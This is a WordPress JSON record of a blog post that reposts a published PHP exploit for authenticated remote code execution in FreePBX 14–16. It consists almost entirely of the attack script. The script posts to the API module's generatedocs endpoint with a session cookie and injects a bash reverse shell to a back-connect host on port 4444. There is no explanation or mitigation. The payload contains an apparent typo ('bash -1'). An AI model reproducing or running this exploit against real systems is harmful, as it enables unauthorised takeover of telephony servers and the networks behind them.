{"id":57218,"date":"2024-06-03T17:40:00","date_gmt":"2024-06-03T14:40:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178901\/freepbx16-exec.txt"},"modified":"2024-06-03T17:40:00","modified_gmt":"2024-06-03T14:40:00","slug":"freepbx-16-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/freepbx-16-remote-code-execution\/","title":{"rendered":"FreePBX 16 Remote Code Execution"},"content":{"rendered":"<pre readability=\"22.5\"><code readability=\"39\"># Exploit Title: FreePBX 16 - Remote Code Execution (RCE) (Authenticated)<br># Exploit Author: Cold z3ro<br># Date: 6\/1\/2024<br># Tested on: 14,15,16<br># Vendor: https:\/\/www.freepbx.org\/<p>&lt;?php<br>\/\/\/<br>\/\/\/ FREEPBX [14,15,16] API Module Authenticated RCE <br>\/\/\/ Orginal Difcon || https:\/\/www.youtube.com\/watch?v=rqFJ0BxwlLI<br>\/\/\/ Cod[3]d by Cold z3ro <br>\/\/\/<br>$url = \"10.10.10.186\"; \/\/ remote host<br>$backconnectip = \"192.168.0.2\";<br>$port = \"4444\"; <br>$PHPSESSID = \"any valid session even extension\";<\/p><p>echo \"checking $url\\n\";<br>$url = trim($url);<br>$ch = curl_init();<br>curl_setopt($ch, CURLOPT_URL, 'http:\/\/'.$url.'\/admin\/ajax.php?module=api&amp;command=generatedocs');<br>curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br>curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');<br>curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);<br>curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);<br>curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);<br>curl_setopt($ch, CURLOPT_TIMEOUT, 2);<br>curl_setopt($ch, CURLOPT_HTTPHEADER, [<br>'Referer: http:\/\/'.$url.'\/admin\/config.php?display=api',<br>'Content-Type: application\/x-www-form-urlencoded',<br>]);<br>curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID='.$PHPSESSID);<br>curl_setopt($ch, CURLOPT_POSTFIELDS, 'scopes=rest&amp;host=http:\/\/'.$backconnectip.'\/$(bash -1 &gt;%26 \/dev\/tcp\/'.$backconnectip.'\/4444 0&gt;%261)');<br>curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);<br>curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<\/p><p>echo $response = curl_exec($ch).\"\\n\";<\/p><p>curl_close($ch);<\/p><p>?&gt;<\/p><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: FreePBX 16 &#8211; Remote Code Execution (RCE) (Authenticated)# Exploit Author: Cold z3ro# Date: 6\/1\/2024# Tested on: 14,15,16# Vendor: https:\/\/www.freepbx.org\/&lt;?php\/\/\/\/\/\/ FREEPBX [14,15,16] API Module Authenticated RCE \/\/\/ Orginal Difcon || https:\/\/www.youtube.com\/watch?v=rqFJ0BxwlLI\/\/\/ Cod[3]d by Cold z3ro \/\/\/$url = &#8220;10.10.10.186&#8221;; \/\/ remote host$backconnectip = &#8220;192.168.0.2&#8221;;$port = &#8220;4444&#8221;; $PHPSESSID = &#8220;any valid session even extension&#8221;;echo &#8220;checking &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57218","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57218","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57218"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57218\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57218"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57218"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57218"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}